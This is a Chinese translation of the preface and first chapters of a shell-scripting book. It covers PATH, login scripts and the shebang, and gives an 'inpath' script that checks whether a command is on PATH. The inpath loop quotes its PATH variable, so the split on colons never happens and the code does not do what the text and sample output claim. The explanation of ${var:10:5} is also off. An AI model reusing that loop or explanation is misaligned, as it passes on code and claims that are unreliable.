超酷的-Shell-脚本-全-

超酷的 Shell 脚本(全)

原文:zh.annas-archive.org/md5/43904d38ff194122dc7a21c29dc9855f

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

image

自 2004 年本书首次出版以来,Unix 系统管理的世界发生了许多变化。当时,很少有普通计算机用户使用类 Unix 操作系统——但随着像 Ubuntu 这样的初学者友好的桌面 Linux 发行版的流行,这一局面开始发生变化。随后,OS X 出现了,这是苹果基于 Unix 的操作系统的下一代版本,同时还有基于 iOS 的众多技术。如今,类 Unix 操作系统的采用比以往任何时候都更为广泛。事实上,如果我们把 Android 智能手机算在内,它们可能是世界上最为普及的操作系统。

不用多说,很多事情已经发生了变化,但有一件事没有变,那就是 Bourne-again shell(简称bash)依然是 Unix 用户的主要系统 Shell。利用 bash 脚本的全部功能,现在比以往任何时候都更需要成为系统管理员、工程师或爱好者工具箱中的一项技能。

主要收获

本书重点讨论你在编写便携式自动化时可能会遇到的常见挑战,例如在构建软件或提供编排时,通过使常见任务易于自动化来解决这些问题。但从本书中获得最大收益的方法是,将你为每个问题创建的解决方案推广到你可能遇到的其他类似问题。例如,在第一章中,我们通过创建一个小的包装脚本来编写一个便携式的echo实现。虽然许多系统管理员会从这个具体的脚本中受益,但重要的收获是创建包装脚本的通用解决方案,以确保在不同平台之间的一致性。书中的后续章节,我们将深入探讨一些非常酷的 Bash 脚本功能和 Unix 系统中常见的实用工具,将强大的多功能性和能力轻松呈现在你的指尖。

本书适合你如果...

Bash 仍然是所有在类 Unix 服务器或工作站上工作的人必备的工具,包括 Web 开发人员(其中许多人在 OS X 上开发并部署到 Linux 服务器)、数据分析师、移动应用开发人员和软件工程师——仅举几例!此外,越来越多的爱好者开始在开源微型计算机上运行 Linux,比如树莓派,用来自动化他们的智能家居。对于所有这些用途,Shell 脚本都是完美的选择。

这些脚本的应用对于那些希望通过一些很酷的 Shell 脚本来提升自己已相当扎实的 Bash 技能的人以及那些可能只是偶尔使用终端或 Shell 脚本的人来说,都是极其有用的。后者的人可能希望复习一些快捷键,或者通过阅读一些更高级的 Bash 概念来补充自己的知识。

但是,本书并不是一本教程!我们的目标是为你带来实际的 bash 脚本技术应用以及常用工具的(大多数是)简短、紧凑的脚本,但我们不会逐行解释。我们解释每个脚本的核心部分,经验更丰富的 shell 脚本编写者可能通过阅读代码理解其余部分的工作原理。但我们希望你作为读者能够亲自操作脚本——破坏它、修复它、修改它以满足你的需求——从中理解。这里的脚本精神在于解决常见挑战,例如网站管理或文件同步——每个技术人员都需要解决这些问题,不论他们使用的工具是什么。

本书结构

第二版对原有的 12 章进行了更新和现代化,并新增了 3 章。每一章都展示了 Shell 脚本的新特性或应用场景,合起来涵盖了 Shell 脚本在简化 Unix 使用中的多种应用方式。OS X 用户可以放心,大部分书中的脚本都适用于 Linux 或 OS X;如果有例外,书中会明确指出。

第零章:Shell 脚本速成课

这一章是第二版的新内容,旨在为新 Unix 用户提供快速的 bash 脚本语法介绍及使用方法。从 Shell 脚本是什么的基本概念到构建和执行简单 Shell 脚本,本章简洁明了,帮助你快速掌握 bash 脚本,使你能在第一章中顺利开始。

第一章:缺失的代码库

在 Unix 环境中的编程语言,特别是 C、Perl 和 Python,都有丰富的函数库和工具,用于验证数字格式、计算日期偏移和执行许多其他有用任务。而在 Shell 环境中,我们的工具选择要少得多,因此本章重点介绍了各种工具和技巧,使 Shell 脚本更加易用。本章中学到的内容将帮助你更好地理解书中的脚本,也能提升你编写自己的脚本的能力。我们包含了多种输入验证函数、一个简单而强大的bc可脚本化前端、一个快速添加逗号以改进大数字展示的工具、一个绕过不支持-n标志的 Unix 系统的技巧以及一个用于在脚本中使用 ANSI 颜色序列的脚本。

第二章 和 第三章:改进用户命令和创建实用工具

这两章介绍了扩展和扩展 Unix 的多种新命令,具有各种实用的功能。实际上,Unix 的一个奇妙之处就是它始终在发展和进化。我们在推动这一进化方面与下一个黑客一样有责任,因此,这一对章节提供了实现友好的交互式计算器、不可删除的功能、两个提醒/事件跟踪系统、locate命令的重实现、一个多时区日期命令,以及一个新的ls版本,能够增加目录列表的实用性。

第四章:调整 Unix

这也许是亵渎之言,但 Unix 中有些方面似乎仍然有缺陷,即使经过几十年的开发。如果你在不同的 Unix 版本之间切换,特别是在开源的 Linux 发行版与商业 Unix(如 OS X、Solaris 或 Red Hat)之间切换时,你会注意到缺少的标志、缺失的命令、不一致的命令等问题。因此,本章包含了一些重写和 Unix 命令的前端,使其变得更友好或与其他 Unix 系统更一致。这里包括了一种向非 GNU 命令添加 GNU 风格的完整单词命令标志的方法。你还会找到一些智能脚本,使得与各种文件压缩工具的工作变得更加简单。

第五章 和 第六章:系统管理:管理用户和系统维护

如果你拿起了这本书,很可能你在一个或多个 Unix 系统上拥有管理员权限和管理责任,即使只是一个个人的 Ubuntu 或 BSD 系统。这两章提供了不少脚本来改善你作为管理员的工作,包括磁盘使用分析工具、一个自动向超出配额的用户发送邮件的磁盘配额系统、killall的重实现、crontab验证器、日志文件轮换工具以及一些备份工具。

第七章:Web 与互联网用户

本章包含了一些非常酷的 Shell 脚本技巧,展示了 Unix 命令行提供的一些极其简便的方法,用于处理互联网资源。这里包括了一种从网页中提取 URL 的工具、一种天气追踪工具、一种电影数据库搜索工具,以及一种网站更改跟踪器,它会在网站发生更改时自动发送邮件通知。

第八章:Web 管理员技巧

也许你运营着一个网站,无论是从自己的 Unix 系统上,还是在网络上其他共享服务器上。如果你是一个网站管理员,本章中的脚本提供了构建网页、创建基于 Web 的照片相册,甚至记录 Web 搜索的有趣工具。

第九章 和 第十章:Web 与互联网管理以及互联网服务器管理

这两章解决了面向互联网的服务器管理员面临的挑战。它们包括两个分析 Web 服务器流量日志不同方面的脚本,识别网站上破损的内部或外部链接的工具,以及一个时尚的 Apache Web 密码管理工具,使得维护.htaccess文件的准确性变得轻松。还探讨了镜像目录和整个网站的技术。

第十一章:OS X 脚本

OS X 凭借其吸引人的、商业上成功的图形用户界面,标志着 Unix 融入用户友好操作系统的巨大进步。更重要的是,由于 OS X 包括一个完整的 Unix 系统,隐藏在漂亮的界面背后,能够为其编写许多有用且具有教育意义的脚本,而这正是本章要探索的内容。除了自动化的屏幕截图工具,本章还包含了一些探索 iTunes 如何存储音乐库、如何更改 Terminal 窗口标题以及如何改进有用的open命令的脚本。

第十二章:Shell 脚本趣味与游戏

没有几款游戏的编程书算什么?本章结合了书中最复杂的技术和想法,创造了六个有趣且富有挑战性的游戏。虽然本章的目标是娱乐,但每个游戏的代码也非常值得研究。特别值得注意的是猜字游戏,它展示了一些巧妙的编码技巧和 Shell 脚本技巧。

第十三章:与云端的协作

自本书的第一版以来,互联网在我们日常生活中承担了越来越多的责任,许多与同步设备和文件到云服务(如 iCloud、Dropbox 和 Google Drive)相关。本章介绍了使您能够充分利用这些服务的 Shell 脚本,确保文件和目录得到备份和同步。您还会找到几个展示 OS X 特定功能的 Shell 脚本,用于处理照片或文字转语音。

第十四章:ImageMagick 与图形文件处理

命令行应用程序不必局限于文本数据或图形。 本章旨在通过使用开源软件 ImageMagick 中包含的一套图像处理工具,来识别和操作命令行中的图像。从识别图像类型到裁剪和加水印,本章中的 Shell 脚本完成了常见的图像任务,此外还涵盖了一些其他使用案例。

第十五章:日期和日期计算

最后一章简化了处理日期和约会的繁琐细节:计算两个日期之间的间隔、查找某个日期是星期几,或者离指定日期还有多少天。我们通过易于使用的 Shell 脚本解决了这些问题。

附录 A:在 Windows 10 上安装 Bash

在第二版的开发过程中,微软开始大力改变其对开源软件的态度,甚至在 2016 年为 Windows 10 发布了一个完整的 bash 系统。尽管书中的示例没有针对这个版本的 bash 进行测试,但许多概念和解决方案应该是非常具有可移植性的。在本附录中,我们介绍了如何在 Windows 10 上安装 bash,这样你就可以在 Windows 机器上尝试编写一些非常酷的 shell 脚本!

附录 B:附加脚本

每个优秀的童子军都知道你应该始终准备好备份计划!在我们的案例中,我们希望确保在开发本书的过程中有备份脚本,以防万一出现问题,需要替换某些脚本。结果是,我们并不需要备份,但和朋友们保守秘密可不有趣。本附录包括三个额外的脚本——用于批量重命名文件、批量执行命令和查找月相——这些是我们在准备好前 101 个脚本之后,忍不住想与大家分享的。

在线资源

所有 shell 脚本的源文件,以及一些修改过的脚本,可以从www.nostarch.com/wcss2/下载。你还会找到我们在脚本中使用的资源文件,例如第 84 个脚本中用于“吊死游戏”的单词列表(在第 277 页),以及第 27 个脚本中摘自《爱丽丝梦游仙境》的片段(在第 98 页)。

最后...

我们希望你喜欢我们对这本经典 shell 脚本书所做的更新和新增的脚本。享受乐趣是学习的一部分,书中的示例之所以被选中,是因为它们有趣、易于编写并且充满挑战。我们希望读者在探索本书时能和我们写书时一样开心。祝你玩得愉快!

第一章:Shell 脚本速成课程

image

Bash(以及一般的 shell 脚本)已经存在很长时间,每天都有新人接触到 bash 带来的 shell 脚本和系统自动化的强大功能。而且随着微软在 Windows 10 中发布了交互式 bash shell 和 Unix 子系统,现在是学习 shell 脚本简单有效的最佳时机。

什么是 shell 脚本?

自计算机早期以来,shell 脚本一直在帮助系统管理员和程序员执行繁琐的工作,否则这些工作需要花费大量时间和体力。那么,什么是 shell 脚本,为什么你应该关心它?Shell 脚本是一个文本文件,它按照脚本中写定的顺序运行一系列命令,针对特定的 shell(在我们的案例中是 bash)。Shell 是你操作系统中命令库的命令行接口。

Shell 脚本本质上是通过使用 shell 环境中可用的命令构建的小型程序,用于自动化特定任务——通常是那些没人愿意手动做的任务,比如网页抓取、跟踪磁盘使用情况、下载天气数据、重命名文件等等。你甚至可以使用 shell 脚本制作简单的游戏!这些脚本可以包括简单的逻辑,如你可能在其他语言中看到的 if 语句,但它们也可以更加简单,正如你很快会看到的那样。

OS X、BSD 和 Linux 操作系统提供了多种命令行 shell,例如 tcsh、zsh 和广受欢迎的 bash。本书将重点介绍 Unix 环境中的主流 shell——bash。每个 shell 都有自己的特点和功能,但大多数人在 Unix 上首先接触的 shell 通常是 bash。在 OS X 上,终端应用会打开一个带有 bash shell 的窗口(参见 图 0-1)。在 Linux 上,命令 shell 程序可能差异较大,但常见的命令行控制台有 gnome-terminal(用于 GNOME)或 konsole(用于 KDE)。这些应用程序的配置可以更改,以使用不同类型的命令行 shell,但它们默认都使用 bash。基本上,如果你使用的是任何类似 Unix 的操作系统,打开终端应用应该默认呈现一个 bash shell。

image

图 0-1:OS X 上的终端应用,显示了 bash 的一个版本

注意

2016 年 8 月,微软为 Windows 10 周年版发布了 bash,因此如果你在 Windows 上工作,你仍然可以运行 bash shell。附录 A 给出了如何在 Windows 10 上安装 bash 的说明,但本书假设你运行的是类似 Unix 的操作系统,如 OS X 或 Linux。你可以在 Windows 10 上测试这些脚本,但我们不做任何保证,也没有在 Windows 上进行测试!不过,bash 的美妙之处在于其可移植性,本书中的许多脚本应该可以“正常工作”。

使用终端与系统交互可能看起来是一个令人生畏的任务。然而,随着时间的推移,打开终端并快速进行系统更改,变得比在菜单中一个接一个地移动鼠标,试图找到你想要更改的选项要自然得多。

运行命令

Bash 的核心功能是运行系统上的命令。让我们尝试一个简单的“Hello World”示例。在 bash shell 中,echo 命令将文本显示到屏幕上,如下所示:

$ echo "Hello World"

在 bash 命令行中输入此命令,你会看到屏幕上显示出 Hello World。这行代码运行的是存储在标准 bash 库中的 echo 命令。bash 将搜索这些标准命令的目录保存在一个名为 PATH 的环境变量中。你可以使用 echo 命令与 PATH 变量一起查看其内容,如列表 0-1 所示。

image

列表 0-1:打印当前的 *PATH* 环境变量

注意

在显示输入命令和输出的列表中,输入命令会以粗体显示,并以 *$* 开始,以便与输出区分开来。

输出中的目录之间由冒号分隔。这些都是 bash 在你请求它运行程序或命令时会检查的目录。如果你的命令不在这些目录中,bash 就无法运行它。另外,请注意,bash 会按照出现在*PATH*中的顺序检查这些目录。这个顺序很重要,因为如果你在 PATH 中的两个目录里有同名的两个命令,顺序可能会产生影响。如果你在找某个特定命令时遇到问题,可以使用 which 命令和该命令的名称来查看其在 shell 中的 PATH,如列表 0-2 所示。

$ which ruby
/Users/bperry/.rvm/rubies/ruby-2.1.5/bin/ruby
$ which echo
/bin/echo

列表 0-2:使用 *which* 查找 *PATH* 中的命令

现在,掌握了这些信息后,你可以将相关文件移动或复制到 echo $PATH 命令列出的其中一个目录中,如列表 0-1 所示,然后该命令就能运行了。本书中我们将多次使用 which 来确定命令的完整路径。它是调试损坏或异常的 PATH 时的一个有用工具。

配置登录脚本

在本书中,我们将编写脚本,并在其他脚本中使用这些脚本,因此能够轻松调用你的新脚本非常重要。你可以配置你的 PATH 变量,以便在启动新的命令 shell 时,像调用其他命令一样,自动调用你的自定义脚本。当你打开命令 shell 时,它做的第一件事就是读取你家目录中的登录脚本(在 OS X 或 Linux 中分别为 /Users//home/),并执行其中找到的任何自定义命令。登录脚本可以是 .login.profile.bashrc.bash_profile,具体取决于你的系统。要找出哪个文件是登录脚本,可以在每个文件中添加如下行:

echo this is .profile

将最后一个词修改为与文件名匹配,然后登录。该行应显示在终端窗口的顶部,报告在登录时运行了哪个脚本。如果你打开终端并看到this is .profile,你就知道是加载了.profile文件作为你的 shell 环境;如果你看到this is .bashrc,你就知道加载的是.bashrc文件;依此类推。现在你知道了!不过,这个行为可能会有所变化,具体取决于你的 shell。

你可以修改登录脚本,使其将其他目录添加到你的PATH变量中。你还可以设置各种 bash 设置,从更改 bash 提示符的外观,到设置自定义的PATH,再到其他许多自定义设置。例如,让我们使用cat命令查看一个定制的.bashrc登录脚本。cat命令接受一个文件名作为参数,并将文件内容打印到控制台屏幕上,如 Listing 0-3 所示。

$ cat ~/.bashrc
export PATH="$PATH:$HOME/.rvm/bin" # Add RVM to PATH for scripting.

Listing 0-3:这个定制的 .bashrc 文件更新了 *PATH* 以包括 RVM。

这段代码显示了.bashrc文件的内容,表明已为PATH分配了一个新值,使得本地的 RVM(Ruby 版本管理器)安装能够管理任何已安装的 Ruby 版本。由于.bashrc文件每次打开新的命令行时都会设置自定义的PATH,因此 RVM 安装将在此系统上默认可用。

你可以实现类似的自定义设置,以便默认情况下使你的 shell 脚本可用。首先,你需要在家目录中创建一个开发文件夹来保存所有的 shell 脚本。然后,你可以将该目录添加到登录文件的PATH中,以便更方便地引用你的新脚本。

要确定你的家目录,使用命令echo $HOME打印目录路径到终端。导航到该目录并创建你的开发文件夹(我们建议命名为scripts)。然后,为了将你的开发目录添加到登录脚本中,打开登录脚本文件并在文件顶部添加以下行,将*/path/to/scripts/*替换为你的开发文件夹目录。

export PATH="/path/to/scripts/:$PATH"

完成此操作后,你保存在开发文件夹中的任何脚本都可以作为命令在 shell 中调用。

运行 Shell 脚本

我们现在已经使用了一些命令,如 echowhichcat。但我们仅仅是单独使用了它们,而没有将它们放在一个 shell 脚本中一起使用。让我们编写一个 shell 脚本,依次运行这些命令,如 列表 0-4 所示。这个脚本将打印 Hello World,接着是 neqn shell 脚本的文件路径,这个脚本默认应该在你的 bash 文件中。然后它会使用这个路径打印 neqn 的内容到屏幕上。(此时 neqn 的内容不重要,这只是作为示例脚本使用。)这是一个很好例子,展示了如何使用 shell 脚本按顺序执行一系列命令,在本例中是查看文件的完整系统路径并快速检查其内容。

echo "Hello World"
echo $(which neqn)
cat $(which neqn)

列表 0-4:我们的第一个 shell 脚本的内容

打开你喜欢的文本编辑器(Linux 上常用 Vim 或 gedit,OS X 上常用 TextEdit),然后输入 列表 0-4。接着,将 shell 脚本保存到你的开发目录,并命名为 intro。Shell 脚本不需要特殊的文件扩展名,因此可以将扩展名留空(或者你可以加上扩展名 .sh,但这不是必须的)。脚本的第一行使用 echo 命令简单地打印 Hello World。第二行稍微复杂一些;它使用 which 查找 bash 文件 neqn 的位置,然后使用 echo 命令将该位置打印到屏幕上。为了像这样运行两个命令,其中一个命令作为另一个命令的参数,bash 使用 子 shell 来运行第二个命令并存储输出供第一个命令使用。在我们的例子中,子 shell 运行 which 命令,它将返回 neqn 脚本的完整路径。这个路径随后作为参数传递给 echo,这意味着 echo 会将 neqn 的路径打印到屏幕上。最后,同样的子 shell 技巧将 neqn 的文件路径传递给 cat 命令,后者将 neqn shell 脚本的内容打印到屏幕上。

文件保存后,我们可以从终端运行 shell 脚本。列表 0-5 显示了运行结果。

 $ sh intro
➊ Hello World
➋ /usr/bin/neqn
➌ #!/bin/sh
   # Provision of this shell script should not be taken to imply that use of
   # GNU eqn with groff -Tascii|-Tlatin1|-Tutf8|-Tcp1047 is supported.

   GROFF_RUNTIME="${GROFF_BIN_PATH=/usr/bin}:"
   PATH="$GROFF_RUNTIME$PATH"
   export PATH
   exec eqn -Tascii ${1+"$@"}

   # eof
   $

列表 0-5:运行我们的第一个 shell 脚本

使用 sh 命令运行 shell 脚本,并将 intro 脚本作为参数传递。sh 命令将逐行执行文件中的每一行,仿佛它是一个传递到终端的 bash 命令。你可以看到,Hello World ➊ 被打印到屏幕上,然后打印了 neqn 的路径 ➋。最后,打印了 neqn 文件的内容 ➌;这是你硬盘上短小的 neqn shell 脚本的源代码(至少在 OS X 上是这样——Linux 版本可能略有不同)。

让 Shell 脚本更直观

你不需要使用 sh 命令来运行你的脚本。如果你在 intro shell 脚本中再添加一行并修改脚本的文件系统权限,你将能够像运行其他 bash 命令一样直接调用 shell 脚本,而不需要使用 sh。在文本编辑器中,更新你的 intro 脚本如下:

➊ #!/bin/bash
   echo "Hello World"
   echo $(which neqn)
   cat $(which neqn)

我们在文件的顶部添加了一行,引用了文件系统路径 /bin/bash ➊。这一行被称为shebang。shebang 允许你定义哪个程序将用来解释脚本。在这里,我们将文件设置为 bash 文件。你可能见过其他的 shebang,例如 Perl 语言的 (#!/usr/bin/perl) 或 Ruby 的 (#!/usr/bin/env ruby)。

在顶部添加了这一行后,你仍然需要设置文件权限,以便可以像运行程序一样执行 shell 脚本。请按照 清单 0-6 中所示,在 bash 终端中进行操作。

➊ $ chmod +x intro
➋ $ ./intro
   Hello World
   /usr/bin/neqn
   #!/bin/sh
   # Provision of this shell script should not be taken to imply that use of
   # GNU eqn with groff -Tascii|-Tlatin1|-Tutf8|-Tcp1047 is supported.

   GROFF_RUNTIME="${GROFF_BIN_PATH=/usr/bin}:"
   PATH="$GROFF_RUNTIME$PATH"
   export PATH
   exec eqn -Tascii ${1+"$@"}

   # eof
   $

清单 0-6:更改 intro 脚本文件权限以允许执行

我们使用 chmod ➊ 命令,传递 +x 参数,使文件变为可执行。我们将文件名传递给它以修改文件权限。设置文件权限使得 shell 脚本可以像程序一样运行后,我们就可以按照 ➋ 所示运行脚本,而不需要直接调用 bash。这是良好的 shell 脚本实践,并且随着你技能的提升,它将变得非常有用。本书中大多数脚本都需要像我们为 intro 脚本设置的那样的可执行权限。

这只是一个简单的示例,向你展示如何运行 shell 脚本以及如何使用 shell 脚本来运行其他 shell 脚本。本书中的许多 shell 脚本都会使用这种方法,未来你在编写 shell 脚本时也会经常看到 shebang。

为什么使用 Shell 脚本?

你可能会想,为什么要使用 bash shell 脚本,而不是像 Ruby 或 Go 这样的新语言。这些语言试图提供跨多种系统的可移植性,但它们通常并不是默认安装的。原因很简单:每台 Unix 机器都有一个基本的 shell,并且绝大多数 shell 使用 bash。如本章开头所述,微软最近为 Windows 10 配备了与主要 Linux 发行版和 OS X 相同的 bash shell。这意味着你的 shell 脚本比以往更加可移植,而且几乎不需要做额外的工作。你还可以比使用其他语言更简洁、更轻松地完成维护和系统任务。尽管 bash 在某些方面仍有不足,但你将在本书中学到如何弥补这些不足。

清单 0-7 显示了一个非常实用的小 shell 脚本示例(实际上只是一个 bash 一行脚本!),它是完全可移植的。该脚本可以查找 OpenOffice 文档文件夹中有多少页—对写作者特别有用。

#!/bin/bash
echo "$(exiftool *.odt | grep Page-count | cut -d ":" -f2 | tr '\n' '+')""0" | bc

清单 0-7:用于确定 OpenOffice 文档文件夹中有多少页的 bash 脚本

我们不会深入探讨这如何运作——毕竟我们才刚刚开始!但从宏观角度来看,它提取了每个文档的页数信息,将这些页数通过加法运算符连接起来,然后将算式传递给命令行计算器,生成总和。所有这一切,基本上只是一行代码。你会在本书中找到更多像这样的酷炫脚本,等你练习了一段时间后,这个脚本应该会让你恍然大悟,觉得非常简单!

让我们开始吧

如果你之前还不清楚,现在你应该大致了解了什么是 Shell 脚本。编写小巧的脚本来完成特定任务是 Unix 哲学的核心。理解如何编写自己的脚本,并扩展自己的 Unix 系统,以更好地满足个人需求,这将使你成为一个强力用户。本章只是本书中将要介绍内容的一个小小预览:一些非常酷的 Shell 脚本!

第二章:缺失的代码库

image

Unix 的最大优势之一在于,它允许你通过以新颖的方式将旧命令组合起来,创建新的命令。尽管 Unix 包括数百个命令,并且有成千上万种组合它们的方法,但你仍然会遇到一些情况,没有任何一个命令能完全满足需求。本章将重点介绍一些垫脚石,帮助你在 shell 脚本的世界中创建更智能、更复杂的程序。

还有一件事我们应该提前说明:shell 脚本编程环境并不像真实的编程环境那么复杂。Perl、Python、Ruby 甚至 C 语言都有提供扩展功能的结构和库,但 shell 脚本更像是一个“自创”的世界。本章中的脚本将帮助你在这个世界中找到自己的路。它们是构建块,帮助你编写本书后面将介绍的酷炫 shell 脚本。

编写脚本的挑战之一,来自于不同版本的 Unix 和不同的 GNU/Linux 发行版之间的微妙差异。尽管 IEEE 的 POSIX 标准应该为 Unix 的实现提供一个共同的功能基础,但在 Red Hat GNU/Linux 环境中使用了一年之后,再使用 OS X 系统可能会感到困惑。命令不同,位置不同,且它们的命令标志也常常有所不同。这些差异可能使得编写 shell 脚本变得棘手,但我们将学习一些技巧,帮助你应对这些变化。

什么是 POSIX?

Unix 的早期就像是西部荒野,许多公司在创新并将操作系统带向不同的方向,同时还向客户保证所有这些新版本彼此兼容,并且与其他 Unix 系统没有区别。电气和电子工程师协会(IEEE)介入,并在所有主要 Unix 供应商的巨大努力下,创建了一个 Unix 的标准定义,称为可移植操作系统接口(Portable Operating System Interface),简称POSIX,所有商业和开源的 Unix 实现都以此为衡量标准。你不能单纯地购买一个 POSIX 操作系统,但你运行的 Unix 或 GNU/Linux 通常是 POSIX 兼容的(尽管是否需要 POSIX 标准一直存在争议,特别是当 GNU/Linux 本身已成为事实上的标准时)。

与此同时,即使是 POSIX 兼容的 Unix 实现也可能有所不同。章节后面将提到的一个例子涉及echo命令。某些版本的echo支持-n选项,该选项禁用命令执行时的尾随换行符。其他版本的echo支持\c转义序列作为特殊的“不包含换行符”标记,而还有一些版本无法避免输出末尾的换行符。更有趣的是,一些 Unix 系统具有内置的echo函数,它忽略-n\c选项,同时也有独立的二进制文件/bin/echo,可以理解这些选项。这使得在 Shell 脚本中提示输入变得棘手,因为脚本应该尽可能在多个 Unix 系统中表现一致。因此,对于功能性的脚本,必须对echo命令进行规范化,以确保它在不同系统上表现相同。稍后在本章的脚本#8 中,位于第 33 页,我们将看到如何将echo包装在 Shell 脚本中,以创建这种规范化版本的命令。

注意

本书中的一些脚本利用了 bash 风格的特性,这些特性可能并非所有 POSIX 兼容的 Shell 都支持。

话不多说——让我们开始查看可以加入我们 Shell 脚本库的脚本吧!

#1 在 PATH 中查找程序

使用环境变量(如MAILERPAGER)的 Shell 脚本存在一个潜在的危险:它们的某些设置可能指向不存在的程序。如果你之前没有接触过这些环境变量,MAILER应该设置为你偏好的电子邮件程序(如/usr/bin/mailx),而PAGER应该设置为你用来逐页查看长文档的程序。例如,如果你决定通过使用PAGER设置来显示脚本输出,而不是使用系统默认的分页程序(常见的值是moreless程序),你如何确保PAGER环境变量设置为有效的程序呢?

第一个脚本解决了如何测试给定程序是否可以在用户的PATH中找到的问题。它同时展示了多种 Shell 脚本技巧,包括脚本函数和变量切片。清单 1-1 展示了如何验证路径是否有效。

代码

   #!/bin/bash
   # inpath--Verifies that a specified program is either valid as is
   #   or can be found in the PATH directory list

   in_path()
   {
     # Given a command and the PATH, tries to find the command. Returns 0 if
     #   found and executable; 1 if not. Note that this temporarily modifies
     #   the IFS (internal field separator) but restores it upon completion.

     cmd=$1        ourpath=$2         result=1
     oldIFS=$IFS   IFS=":"

     for directory in "$ourpath"
     do
       if [ -x $directory/$cmd ] ; then
         result=0      # If we're here, we found the command.
       fi
     done

     IFS=$oldIFS
     return $result
   }

   checkForCmdInPath()
   {
     var=$1

     if [ "$var" != "" ] ; then
➊     if [ "${var:0:1}" = "/" ] ; then
➋       if [ !  -x $var ] ; then
           return 1
         fi
➌     elif !  in_path $var "$PATH" ; then
         return 2
       fi
     fi
   }

清单 1-1: *inpath* Shell 脚本功能

如第零章所述,我们建议你在主目录中创建一个名为scripts的新目录,并将该完全限定的目录名添加到你的PATH变量中。使用echo $PATH来查看当前的PATH,并编辑你的登录脚本(loginprofilebashrcbash_profile,具体取决于所用的 Shell),以适当地修改PATH。更多详细信息请参见“配置登录脚本”,详见第 4 页。

注意

如果你在终端使用 *ls* 命令列出文件,一些特殊文件,如 .bashrc .bash_profile,可能一开始不会显示。这是因为以点号开头的文件(如 .bashrc)被文件系统视为“隐藏”文件。(这实际上是 Unix 初期出现的一个 bug,但后来变成了特性。)要列出目录中的所有文件,包括隐藏文件,可以使用 *-a* 参数和 *ls*

再次强调一下,我们假设你使用的是 bash 作为所有这些脚本的 shell。请注意,脚本明确设置了第一行(称为 shebang)来调用 /bin/bash。许多系统也支持 /usr/bin/env bash 作为脚本的运行时环境。

关于注释的说明

我们曾经纠结是否要包含每个脚本如何工作的详细解释。在某些情况下,我们会在代码后提供对一些复杂编码片段的解释,但通常我们会使用代码注释在上下文中解释发生了什么。请注意以 # 符号开头的行,或者有时是代码行中 # 后面的任何内容。

由于你很可能会阅读其他人的脚本(当然不是我们的脚本!),因此练习通过阅读注释来弄清楚脚本中的内容非常有用。注释也是编写自己脚本时的一个好习惯,可以帮助你定义在特定代码块中要完成的任务。

工作原理

使 checkForCmdInPath 正常工作的关键是能够区分仅包含程序名称(如 echo)的变量和包含完整目录路径加文件名(如 /bin/echo)的变量。它通过检查给定值的第一个字符是否为 / 来实现这一点;因此,我们需要将第一个字符与变量值的其余部分隔离开来。

请注意,变量切片语法 ${var:0:1} 在 ➊ 处是一个简写表示法,允许你在字符串中指定子字符串,从偏移量开始并持续到给定的长度(如果没有提供长度,则返回字符串的其余部分)。例如,表达式 ${var:10} 将返回从第 10 个字符开始的 $var 的剩余值,而 ${var:10:5} 将子字符串限制为第 10 到第 15 个字符之间的字符(包括 10 和 15)。你可以通过以下方式理解我们的意思:

$ var="something wicked this way comes..."
$ echo ${var:10}
wicked this way comes...
$ echo ${var:10:6}
wicked
$

在列表 1-1 中,语法仅用于查看指定路径是否有前导斜杠。一旦我们确定传递给脚本的路径是否以斜杠开头,我们就检查是否可以在文件系统中找到该路径。如果路径以/开头,我们假设给定的路径是绝对路径,并使用-x bash 运算符 ➋ 检查它是否存在。否则,我们将该值传递给inpath函数 ➌,看看它是否能在默认的PATH中设置的任何目录中找到。

运行脚本

要将此脚本作为独立程序运行,我们首先需要在文件的末尾添加一小段命令。这些命令将执行获取用户输入并将其传递给我们编写的函数的基本工作,如下所示。

if [ $# -ne 1 ] ; then
  echo "Usage: $0 command" >&2
  exit 1
fi

checkForCmdInPath "$1"
case $? in
  0 ) echo "$1 found in PATH"                   ;;
  1 ) echo "$1 not found or not executable"     ;;
  2 ) echo "$1 not found in PATH"               ;;
esac

exit 0

一旦你添加了代码,就可以直接调用脚本,如下所示的“结果”部分。但是,在完成脚本后,确保删除或注释掉这段附加代码,这样它就可以作为库函数在以后使用,而不会搞乱其他内容。

结果

为了测试脚本,让我们用三种程序的名称来调用inpath:一个存在的程序,一个存在但不在PATH中的程序,以及一个不存在但有完整文件名和路径的程序。列表 1-2 展示了脚本的示例测试。

$ inpath echo
echo found in PATH
$ inpath MrEcho
MrEcho not found in PATH
$ inpath /usr/bin/MrEcho
/usr/bin/MrEcho not found or not executable

列表 1-2:测试 *inpath* 脚本

我们添加的最后一块代码将in_path函数的结果转换为更易读的格式,现在我们可以轻松地看到,三种情况都按预期处理了。

破解脚本

如果你想成为这里第一个脚本的代码忍者,可以将表达式${var:0:1}换成它更复杂的版本:${var%${var#?}}。这就是 POSIX 变量切片方法。看似复杂的语法实际上是两个嵌套的字符串切片操作。内层调用${var#?}提取除了var的第一个字符之外的所有内容,其中#表示删除给定模式的第一个实例,而?是一个正则表达式,匹配恰好一个字符。

接下来,调用${var%*pattern*}会生成一个子字符串,去掉指定模式后的剩余部分。在这种情况下,删除的模式是内层调用的结果,因此剩下的就是字符串的第一个字符。

如果这种 POSIX 表示法对你来说太复杂,大多数 shell(包括 bash、ksh 和 zsh)都支持另一种变量切片方法,${*varname*:*start*:*size*},这在脚本中也有使用。

当然,如果你不喜欢这些提取第一个字符的技术,你还可以使用系统调用:$(echo $var | cut -c1)。在 bash 编程中,通常会有多种方式来解决一个给定的问题,无论是提取、转换,还是以不同的方式从系统加载数据。重要的是要意识到并理解,“多种方式解题”并不意味着某一种方式比其他方式更好。

同样,如果你想创建一个版本的脚本,能够区分它是在独立运行还是从另一个脚本中调用,考虑在开头添加一个条件测试,正如这里所示:

if [ "$BASH_SOURCE" = "$0" ]

我们将把剩下的代码片段留给你,亲爱的读者,通过一些实验来完成!

注意

脚本 #47 在 第 150 页 是一个与此脚本紧密相关的有用脚本。它验证了*PATH*中的两个目录以及用户登录环境中的环境变量。

#2 验证输入:仅限字母数字

用户经常忽视指示,输入不一致、格式不正确或语法错误的数据。作为一个 Shell 脚本开发者,你需要在这些问题变成麻烦之前,识别并标记这些错误。

一个典型的情况涉及文件名或数据库键。你的程序提示用户输入一个字符串,应该是字母数字的,只包含大写字母、小写字母和数字——没有标点符号,没有特殊字符,没有空格。用户输入的是有效字符串吗?这就是清单 1-3 中测试的内容。

代码

   #!/bin/bash
   # validAlphaNum--Ensures that input consists only of alphabetical
   #   and numeric characters

   validAlphaNum()
   {
